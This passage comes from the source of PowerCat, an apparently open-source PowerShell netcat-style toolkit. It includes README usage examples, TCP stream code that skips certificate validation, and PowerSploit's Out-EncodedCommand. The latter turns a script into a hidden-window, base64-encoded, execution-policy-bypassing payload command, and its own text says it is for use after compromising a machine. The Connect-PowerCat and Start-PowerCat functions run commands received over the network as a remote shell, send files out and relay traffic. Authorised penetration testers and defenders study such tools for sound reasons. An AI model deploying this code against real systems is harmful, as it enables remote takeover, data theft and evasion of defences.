127 | ---------- 128 | PowerCat can also perform port-scans, start persistent listeners, or act as a simple web server. 129 | ```powershell 130 | # Basic TCP port scan: 131 | 1..1024 | ForEach-Object { Connect-PowerCat -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose -Disconnect } 132 | 133 | # Basic UDP port scan: 134 | 1..1024 | ForEach-Object { Connect-PowerCat -Mode Udp -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose } 135 | 136 | # Persistent listener: 137 | Start-PowerCat -Port 443 -Execute -KeepAlive 138 | 139 | # Simple Web Server: 140 | Start-PowerCat -Port 80 -SendFile index.html 141 | ``` 142 | Exiting 143 | ---------- 144 | In most cases, the ESC key can be used to gracefully exit PowerCat. 145 | -------------------------------------------------------------------------------- /Functions/NetworkStreams/New-TcpStream.ps1: -------------------------------------------------------------------------------- 1 | function New-TcpStream { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | [CmdletBinding(DefaultParameterSetName = 'Client')] 7 | Param ( 8 | [Parameter(Position = 0, ParameterSetName = 'Client')] 9 | [Net.IPAddress]$ServerIp, 10 | 11 | [Parameter(Position = 0, ParameterSetName = 'Listener')] 12 | [Switch]$Listener, 13 | 14 | [Parameter(Position = 1)] 15 | [Int]$Port, 16 | 17 | [Parameter(Position = 2)] 18 | [String]$SslCn, 19 | 20 | [Parameter(Position = 3)] 21 | [Int]$Timeout = 60 22 | ) 23 | 24 | if ($Listener.IsPresent) { 25 | 26 | $TcpListener = New-Object Net.Sockets.TcpListener $Port 27 | $TcpListener.Start() 28 | $ConnectResult = $TcpListener.BeginAcceptTcpClient($null, $null) 29 | 30 | Write-Verbose "Listening on 0.0.0.0:$Port [tcp]" 31 | 32 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew() 33 | [console]::TreatControlCAsInput = $true 34 | 35 | do { 36 | if ([console]::KeyAvailable) { 37 | $Key = [console]::ReadKey($true) 38 | if ($Key.Key -eq [Consolekey]::Escape) { 39 | Write-Warning 'Caught escape sequence, stopping TCP setup.' 40 | [console]::TreatControlCAsInput = $false 41 | $TcpListener.Stop() 42 | $Stopwatch.Stop() 43 | return 44 | } 45 | } 46 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) { 47 | Write-Warning 'Timeout exceeded, stopping TCP setup.' 48 | #[console]::TreatControlCAsInput = $false 49 | $TcpListener.Stop() 50 | $Stopwatch.Stop() 51 | return 52 | } 53 | } until ($ConnectResult.IsCompleted) 54 | 55 | [console]::TreatControlCAsInput = $false 56 | $Stopwatch.Stop() 57 | 58 | $TcpClient = $TcpListener.EndAcceptTcpClient($ConnectResult) 59 | $TcpListener.Stop() 60 | 61 | if (!$TcpClient) { Write-Warning "Connection to $($ServerIp.IPAddressToString):$Port [tcp] failed." ; return } 62 | 63 | Write-Verbose "Connection from $($TcpClient.Client.RemoteEndPoint.ToString()) accepted." 64 | 65 | $TcpStream = $TcpClient.GetStream() 66 | $Buffer = New-Object Byte[] $TcpClient.ReceiveBufferSize 67 | 68 | if ($PSBoundParameters.SslCn) { 69 | $TcpStream = New-Object System.Net.Security.SslStream($TcpStream, $false) 70 | $Certificate = New-X509Certificate $SslCn 71 | $TcpStream.AuthenticateAsServer($Certificate) 72 | Write-Verbose "SSL Encrypted: $($TcpStream.IsEncrypted)" 73 | } 74 | 75 | $Properties = @{ 76 | Socket = $TcpClient.Client 77 | TcpStream = $TcpStream 78 | Buffer = $Buffer 79 | Read = $TcpStream.BeginRead($Buffer, 0, $Buffer.Length, $null, $null) 80 | } 81 | New-Object psobject -Property $Properties 82 | } 83 | else { # Client 84 | 85 | $TcpClient = New-Object Net.Sockets.TcpClient 86 | 87 | $ConnectResult = $TcpClient.BeginConnect($ServerIp, $Port, $null, $null) 88 | 89 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew() 90 | [console]::TreatControlCAsInput = $true 91 | 92 | do { 93 | if ([console]::KeyAvailable) { 94 | $Key = [console]::ReadKey($true) 95 | if ($Key.Key -eq [Consolekey]::Escape) { 96 | Write-Warning 'Caught escape sequence, stopping TCP setup.' 97 | [console]::TreatControlCAsInput = $false 98 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() } 99 | else { $TcpClient.Dispose() } 100 | $Stopwatch.Stop() 101 | return 102 | } 103 | } 104 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) { 105 | Write-Warning 'Timeout exceeded, stopping TCP setup.' 106 | [console]::TreatControlCAsInput = $false 107 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() } 108 | else { $TcpClient.Dispose() } 109 | $Stopwatch.Stop() 110 | return 111 | } 112 | } until ($ConnectResult.IsCompleted) 113 | 114 | [console]::TreatControlCAsInput = $false 115 | $Stopwatch.Stop() 116 | 117 | try { $TcpClient.EndConnect($ConnectResult) } 118 | catch { 119 | Write-Warning "Connection to $($ServerIp.IPAddressToString):$Port [tcp] failed. $($_.Exception.Message)" 120 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() } 121 | else { $TcpClient.Dispose() } 122 | return 123 | } 124 | Write-Verbose "Connection to $($ServerIp.IPAddressToString):$Port [tcp] succeeded!" 125 | 126 | $TcpStream = $TcpClient.GetStream() 127 | $Buffer = New-Object Byte[] $TcpClient.ReceiveBufferSize 128 | 129 | if ($PSBoundParameters.SslCn) { 130 | $TcpStream = New-Object System.Net.Security.SslStream($TcpStream, $false, { param($Sender, $Cert, $Chain, $Policy) return $true }) 131 | $TcpStream.AuthenticateAsClient($SslCn) 132 | Write-Verbose "SSL Encrypted: $($TcpStream.IsEncrypted)" 133 | } 134 | 135 | $Properties = @{ 136 | Socket = $TcpClient.Client 137 | TcpStream = $TcpStream 138 | Buffer = $Buffer 139 | Read = $TcpStream.BeginRead($Buffer, 0, $Buffer.Length, $null, $null) 140 | } 141 | New-Object psobject -Property $Properties 142 | } 143 | } -------------------------------------------------------------------------------- /Functions/Helpers/Out-EncodedCommand.ps1: -------------------------------------------------------------------------------- 1 | function Out-EncodedCommand 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. 7 | 8 | PowerSploit Function: Out-EncodedCommand 9 | Author: Matthew Graeber (@mattifestation) 10 | License: BSD 3-Clause 11 | Required Dependencies: None 12 | Optional Dependencies: None 13 | 14 | .DESCRIPTION 15 | 16 | Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. 17 | 18 | .PARAMETER ScriptBlock 19 | 20 | Specifies a scriptblock containing your payload. 21 | 22 | .PARAMETER Path 23 | 24 | Specifies the path to your payload. 25 | 26 | .PARAMETER NoExit 27 | 28 | Outputs the option to not exit after running startup commands. 29 | 30 | .PARAMETER NoProfile 31 | 32 | Outputs the option to not load the Windows PowerShell profile. 33 | 34 | .PARAMETER NonInteractive 35 | 36 | Outputs the option to not present an interactive prompt to the user. 37 | 38 | .PARAMETER Wow64 39 | 40 | Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. 41 | 42 | .PARAMETER WindowStyle 43 | 44 | Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. 45 | 46 | .PARAMETER EncodedOutput 47 | 48 | Base-64 encodes the entirety of the output. This is usually unnecessary and effectively doubles the size of the output. This option is only for those who are extra paranoid. 49 | 50 | .EXAMPLE 51 | 52 | C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} 53 | 54 | powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() 55 | 56 | .EXAMPLE 57 | 58 | C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput 59 | 60 | powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= 61 | 62 | Description 63 | ----------- 64 | Execute the above payload for the lulz. >D 65 | 66 | .NOTES 67 | 68 | This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip) 69 | 70 | .LINK 71 | 72 | http://www.exploit-monday.com 73 | #> 74 | 75 | [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( 76 | [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] 77 | [ValidateNotNullOrEmpty()] 78 | [ScriptBlock] 79 | $ScriptBlock, 80 | 81 | [Parameter(Position = 0, ParameterSetName = 'FilePath' )] 82 | [ValidateNotNullOrEmpty()] 83 | [String] 84 | $Path, 85 | 86 | [Switch] 87 | $NoExit, 88 | 89 | [Switch] 90 | $NoProfile, 91 | 92 | [Switch] 93 | $NonInteractive, 94 | 95 | [Switch] 96 | $Wow64, 97 | 98 | [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] 99 | [String] 100 | $WindowStyle, 101 | 102 | [Switch] 103 | $EncodedOutput 104 | ) 105 | 106 | if ($PSBoundParameters['Path']) 107 | { 108 | Get-ChildItem $Path -ErrorAction Stop | Out-Null 109 | $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path)) 110 | } 111 | else 112 | { 113 | $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock) 114 | } 115 | 116 | $CompressedStream = New-Object IO.MemoryStream 117 | $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) 118 | $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) 119 | $DeflateStream.Dispose() 120 | $CompressedScriptBytes = $CompressedStream.ToArray() 121 | $CompressedStream.Dispose() 122 | $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) 123 | 124 | # Generate the code that will decompress and execute the payload. 125 | # This code is intentionally ugly to save space. 126 | $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' 127 | 128 | # Base-64 strings passed to -EncodedCommand must be unicode encoded. 129 | $UnicodeEncoder = New-Object System.Text.UnicodeEncoding 130 | $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript)) 131 | 132 | # Build the command line options 133 | # Use the shortest possible command-line arguments to save space. Thanks @obscuresec for the idea. 134 | $CommandlineOptions = New-Object String[](0) 135 | if ($PSBoundParameters['NoExit']) 136 | { $CommandlineOptions += '-NoE' } 137 | if ($PSBoundParameters['NoProfile']) 138 | { $CommandlineOptions += '-NoP' } 139 | if ($PSBoundParameters['NonInteractive']) 140 | { $CommandlineOptions += '-NonI' } 141 | if ($PSBoundParameters['WindowStyle']) 142 | { $CommandlineOptions += "-W $($PSBoundParameters['WindowStyle'])" } 143 | 144 | $CmdMaxLength = 8190 145 | 146 | # Build up the full command-line string. Default to outputting a fully base-64 encoded command. 147 | # If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial 148 | # base-64 encoding to save space. Thanks @Carlos_Perez for the idea. 149 | if ($PSBoundParameters['Wow64']) 150 | { 151 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" 152 | 153 | if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) 154 | { 155 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" 156 | } 157 | 158 | if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) 159 | { 160 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" 161 | } 162 | } 163 | else 164 | { 165 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" 166 | 167 | if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) 168 | { 169 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" 170 | } 171 | 172 | if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) 173 | { 174 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" 175 | } 176 | } 177 | 178 | if ($CommandLineOutput.Length -gt $CmdMaxLength) 179 | { 180 | Write-Warning 'This command exceeds the cmd.exe maximum allowed length!' 181 | } 182 | 183 | Write-Output $CommandLineOutput 184 | } 185 | -------------------------------------------------------------------------------- /Functions/Connect-PowerCat.ps1: -------------------------------------------------------------------------------- 1 | function Connect-PowerCat { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | [CmdletBinding(DefaultParameterSetName = 'Console')] 7 | Param ( 8 | [Parameter(Position = 0)] 9 | [Alias('m')] 10 | [ValidateSet('Smb', 'Tcp', 'Udp')] 11 | [String]$Mode = 'Tcp', 12 | 13 | [Parameter(Position = 1, Mandatory = $true)] 14 | [String]$RemoteIp, 15 | 16 | [Parameter(ParameterSetName = 'Execute')] 17 | [Alias('e')] 18 | [Switch]$Execute, 19 | 20 | [Parameter(ParameterSetName = 'Relay')] 21 | [Alias('r')] 22 | [String]$Relay, 23 | 24 | [Parameter(ParameterSetName = 'ReceiveFile')] 25 | [Alias('rf')] 26 | [String]$ReceiveFile, 27 | 28 | [Parameter(ParameterSetName = 'SendFile')] 29 | [Alias('sf')] 30 | [String]$SendFile, 31 | 32 | [Parameter(ParameterSetName = 'Input')] 33 | [Alias('i')] 34 | [String]$Input, 35 | 36 | [Parameter()] 37 | [Alias('d')] 38 | [Switch]$Disconnect, 39 | 40 | [Parameter()] 41 | [Alias('t')] 42 | [Int]$Timeout = 60, 43 | 44 | [Parameter()] 45 | [ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')] 46 | [String]$Encoding = 'Ascii' 47 | ) 48 | DynamicParam { 49 | $ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary 50 | 51 | if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary } 52 | else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary } 53 | 54 | if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary } 55 | 56 | if ($Execute.IsPresent) { 57 | New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary 58 | New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary 59 | } 60 | return $ParameterDictionary 61 | } 62 | Begin { 63 | if ($RemoteIp -notmatch "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") { 64 | Write-Warning "$RemoteIp is not a valid IPv4 address." 65 | return 66 | } 67 | $ServerIp = [Net.IPAddress]::Parse($RemoteIp) 68 | 69 | switch ($Mode) { 70 | 'Smb' { 71 | try { $ClientStream = New-SmbStream $RemoteIp $ParameterDictionary.PipeName.Value $Timeout } 72 | catch { Write-Warning "Failed to open Smb stream. $($_.Exception.Message)" ; return } 73 | continue 74 | } 75 | 'Tcp' { 76 | try { $ClientStream = New-TcpStream $ServerIp $ParameterDictionary.Port.Value $ParameterDictionary.SslCn.Value $Timeout } 77 | catch { Write-Warning "Failed to open Tcp stream. $($_.Exception.Message)" ; return } 78 | continue 79 | } 80 | 'Udp' { 81 | try { $InitialBytes, $ClientStream = New-UdpStream $ServerIp $ParameterDictionary.Port.Value -TimeOut $Timeout } 82 | catch { Write-Warning "Failed to open Udp stream. $($_.Exception.Message)" ; return } 83 | } 84 | } 85 | switch ($Encoding) { 86 | 'Ascii' { $EncodingType = New-Object Text.AsciiEncoding ; continue } 87 | 'Unicode' { $EncodingType = New-Object Text.UnicodeEncoding ; continue } 88 | 'UTF7' { $EncodingType = New-Object Text.UTF7Encoding ; continue } 89 | 'UTF8' { $EncodingType = New-Object Text.UTF8Encoding ; continue } 90 | 'UTF32' { $EncodingType = New-Object Text.UTF32Encoding ; continue } 91 | } 92 | 93 | if ($PSCmdlet.ParameterSetName -eq 'Input') { Write-NetworkStream $Mode $ClientStream $EncodingType.GetBytes($Input) } 94 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream = New-Object IO.FileStream @($ReceiveFile, [IO.FileMode]::Append) } 95 | elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') { 96 | 97 | Write-Verbose "Attempting to send $SendFile" 98 | 99 | if ((Test-Path $SendFile)) { 100 | 101 | try { $FileStream = New-Object IO.FileStream @($SendFile, [IO.FileMode]::Open) } 102 | catch { Write-Warning $_.Exception.Message } 103 | 104 | if ($BytesLeft = $FileStream.Length) { # goto cleanup 105 | 106 | $FileOffset = 0 107 | if ($BytesLeft -gt 4608) { # Max packet size for Ncat 108 | 109 | $BytesToSend = New-Object Byte[] 4608 110 | 111 | while ($BytesLeft -gt 4608) { 112 | 113 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 114 | [void]$FileStream.Read($BytesToSend, 0, 4608) 115 | 116 | $FileOffset += 4608 117 | $BytesLeft -= 4608 118 | 119 | Write-NetworkStream $Mode $ClientStream $BytesToSend 120 | } 121 | # Send last packet 122 | $BytesToSend = New-Object Byte[] $BytesLeft 123 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 124 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft) 125 | 126 | Write-NetworkStream $Mode $ClientStream $BytesToSend 127 | } 128 | else { # Only need to send one packet 129 | $BytesToSend = New-Object Byte[] $BytesLeft 130 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 131 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft) 132 | 133 | Write-NetworkStream $Mode $ClientStream $BytesToSend 134 | } 135 | $FileStream.Flush() 136 | $FileStream.Dispose() 137 | } 138 | if ($Mode -eq 'Smb') { $ClientStream.Pipe.WaitForPipeDrain() } 139 | if ($Mode -eq 'Tcp') { sleep 1 } 140 | } 141 | else { Write-Warning "$SendFile does not exist." } 142 | } 143 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { 144 | 145 | Write-Verbose "Setting up relay stream..." 146 | 147 | $RelayConfig = $Relay.Split(':') 148 | $RelayMode = $RelayConfig[0].ToLower() 149 | 150 | if ($RelayConfig.Count -eq 2) { # Listener 151 | switch ($RelayMode) { 152 | 'smb' { $RelayStream = New-SmbStream -Listener $RelayConfig[1] ; continue } 153 | 'tcp' { $RelayStream = New-TcpStream -Listener $RelayConfig[1] ; continue } 154 | 'udp' { $RelayStream = New-UdpStream -Listener $RelayConfig[1] ; continue } 155 | default { Write-Warning 'Invalid relay mode specified.' ; return } 156 | } 157 | } 158 | elseif ($RelayConfig.Count -eq 3) { # Client 159 | if ($RelayConfig[1] -match "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") { 160 | $ServerIp = [Net.IPAddress]::Parse($RelayConfig[1]) 161 | switch ($RelayMode) { 162 | 'smb' { $RelayStream = New-SmbStream $RelayConfig[1] $RelayConfig[2] ; continue } 163 | 'tcp' { $RelayStream = New-TcpStream $ServerIp $RelayConfig[2] ; continue } 164 | 'udp' { $RelayStream = New-UdpStream $ServerIp $RelayConfig[2] ; continue } 165 | default { Write-Warning 'Invalid relay mode specified.' ; return } 166 | } 167 | } 168 | else { Write-Warning "$($RelayConfig[1]) is not a valid IPv4 address." } 169 | } 170 | else { Write-Warning 'Invalid relay format.' } 171 | } 172 | elseif ($PSCmdlet.ParameterSetName -eq 'Execute') { 173 | if ($ClientStream) { 174 | $BytesToSend = $EncodingType.GetBytes("`nPowerCat by @secabstraction`n") 175 | 176 | if ($ParameterDictionary.ScriptBlock.Value) { 177 | 178 | $ScriptBlock = $ParameterDictionary.ScriptBlock.Value 179 | 180 | $Global:Error.Clear() 181 | 182 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke($ParameterDictionary.ArgumentList.Value) | Out-String)) 183 | if ($Global:Error.Count) { foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } } 184 | } 185 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> ")) 186 | Write-NetworkStream $Mode $ClientStream $BytesToSend 187 | $ScriptBlock = $null 188 | $BytesToSend = $null 189 | } 190 | } 191 | } 192 | Process { 193 | [console]::TreatControlCAsInput = $true 194 | 195 | while ($true) { 196 | 197 | if ($PSCmdlet.ParameterSetName -eq 'SendFile' -or $Disconnect.IsPresent) { break } # Skip to Cleanup 198 | 199 | # Catch Esc / Read-Host 200 | if ([console]::KeyAvailable) { 201 | $Key = [console]::ReadKey() 202 | if ($Key.Key -eq [Consolekey]::Escape) { 203 | Write-Verbose 'Caught escape sequence, stopping PowerCat.' 204 | break 205 | } 206 | if ($PSCmdlet.ParameterSetName -eq 'Console') { 207 | $BytesToSend = $EncodingType.GetBytes($Key.KeyChar + (Read-Host) + "`n") 208 | Write-NetworkStream $Mode $ClientStream $BytesToSend 209 | } 210 | } 211 | 212 | # Get data from the network 213 | if ($InitialBytes) { $ReceivedBytes = $InitialBytes ; $InitialBytes = $null } 214 | elseif ($ClientStream.Socket.Connected -or $ClientStream.Pipe.IsConnected) { 215 | if ($ClientStream.Read.IsCompleted) { $ReceivedBytes = Read-NetworkStream $Mode $ClientStream } 216 | else { Start-Sleep -Milliseconds 1 ; continue } 217 | } 218 | else { Write-Verbose "$Mode connection broken, exiting." ; break } 219 | 220 | # Redirect received bytes 221 | if ($PSCmdlet.ParameterSetName -eq 'Execute') { 222 | 223 | try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) } 224 | catch { break } # network stream closed 225 | 226 | $Global:Error.Clear() 227 | 228 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String)) 229 | foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } 230 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> ")) 231 | 232 | Write-NetworkStream $Mode $ClientStream $BytesToSend 233 | $BytesToSend = $null 234 | $ScriptBlock = $null 235 | continue 236 | } 237 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { Write-NetworkStream $RelayMode $RelayStream $ReceivedBytes ; continue } 238 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { 239 | try { $FileStream.Write($ReceivedBytes, 0, $ReceivedBytes.Length) } 240 | catch { break } # EOF reached 241 | continue 242 | } 243 | else { # Console 244 | try { Write-Host -NoNewline $EncodingType.GetString($ReceivedBytes).TrimEnd("`r") } 245 | catch { break } # network stream closed 246 | } 247 | } 248 | } 249 | End { # Cleanup 250 | Write-Host "`n" 251 | 252 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream.Flush() ; $FileStream.Dispose() } 253 | 254 | try { Close-NetworkStream $Mode $ClientStream } 255 | catch { Write-Warning "Failed to close client stream. $($_.Exception.Message)" } 256 | 257 | if ($PSCmdlet.ParameterSetName -eq 'Relay') { 258 | try { Close-NetworkStream $RelayMode $RelayStream } 259 | catch { Write-Warning "Failed to close relay stream. $($_.Exception.Message)" } 260 | } 261 | [console]::TreatControlCAsInput = $false 262 | } 263 | } -------------------------------------------------------------------------------- /Functions/Start-PowerCat.ps1: -------------------------------------------------------------------------------- 1 | function Start-PowerCat { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | [CmdletBinding(DefaultParameterSetName = 'Console')] 7 | Param ( 8 | [Parameter(Position = 0)] 9 | [Alias('m')] 10 | [ValidateSet('Smb', 'Tcp', 'Udp')] 11 | [String]$Mode = 'Tcp', 12 | 13 | [Parameter(ParameterSetName = 'Execute')] 14 | [Alias('e')] 15 | [Switch]$Execute, 16 | 17 | [Parameter(ParameterSetName = 'Relay')] 18 | [Alias('r')] 19 | [String]$Relay, 20 | 21 | [Parameter(ParameterSetName = 'ReceiveFile')] 22 | [Alias('rf')] 23 | [String]$ReceiveFile, 24 | 25 | [Parameter(ParameterSetName = 'SendFile')] 26 | [Alias('sf')] 27 | [String]$SendFile, 28 | 29 | [Parameter()] 30 | [Alias('d')] 31 | [Switch]$Disconnect, 32 | 33 | [Parameter()] 34 | [Alias('t')] 35 | [Int]$Timeout = 60, 36 | 37 | [Parameter()] 38 | [Switch]$KeepAlive, 39 | 40 | [Parameter()] 41 | [ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')] 42 | [String]$Encoding = 'Ascii' 43 | ) 44 | DynamicParam { 45 | $ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary 46 | 47 | if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary } 48 | else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary } 49 | 50 | if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary } 51 | 52 | if ($Execute.IsPresent) { 53 | New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary 54 | New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary 55 | } 56 | return $ParameterDictionary 57 | } 58 | Begin {} 59 | Process { 60 | while ($true) { 61 | switch ($Mode) { 62 | 'Smb' { 63 | try { $ServerStream = New-SmbStream -Listener $ParameterDictionary.PipeName.Value $Timeout } 64 | catch { Write-Warning "Failed to open Smb stream. $($_.Exception.Message)" ; return } 65 | continue 66 | } 67 | 'Tcp' { 68 | if ((Test-Port $ParameterDictionary.Port.Value Tcp)) { 69 | try { $ServerStream = New-TcpStream -Listener $ParameterDictionary.Port.Value $ParameterDictionary.SslCn.Value $Timeout } 70 | catch { Write-Warning "Failed to open Tcp stream. $($_.Exception.Message)" ; return } 71 | } 72 | else { return } 73 | continue 74 | } 75 | 'Udp' { 76 | if ((Test-Port $ParameterDictionary.Port.Value Udp)) { 77 | try { $InitialBytes, $ServerStream = New-UdpStream -Listener $ParameterDictionary.Port.Value -TimeOut $Timeout } 78 | catch { Write-Warning "Failed to open Udp stream. $($_.Exception.Message)" ; return } 79 | } 80 | else { return } 81 | } 82 | } 83 | switch ($Encoding) { 84 | 'Ascii' { $EncodingType = New-Object Text.AsciiEncoding ; continue } 85 | 'Unicode' { $EncodingType = New-Object Text.UnicodeEncoding ; continue } 86 | 'UTF7' { $EncodingType = New-Object Text.UTF7Encoding ; continue } 87 | 'UTF8' { $EncodingType = New-Object Text.UTF8Encoding ; continue } 88 | 'UTF32' { $EncodingType = New-Object Text.UTF32Encoding ; continue } 89 | } 90 | 91 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream = New-Object IO.FileStream @($ReceiveFile, 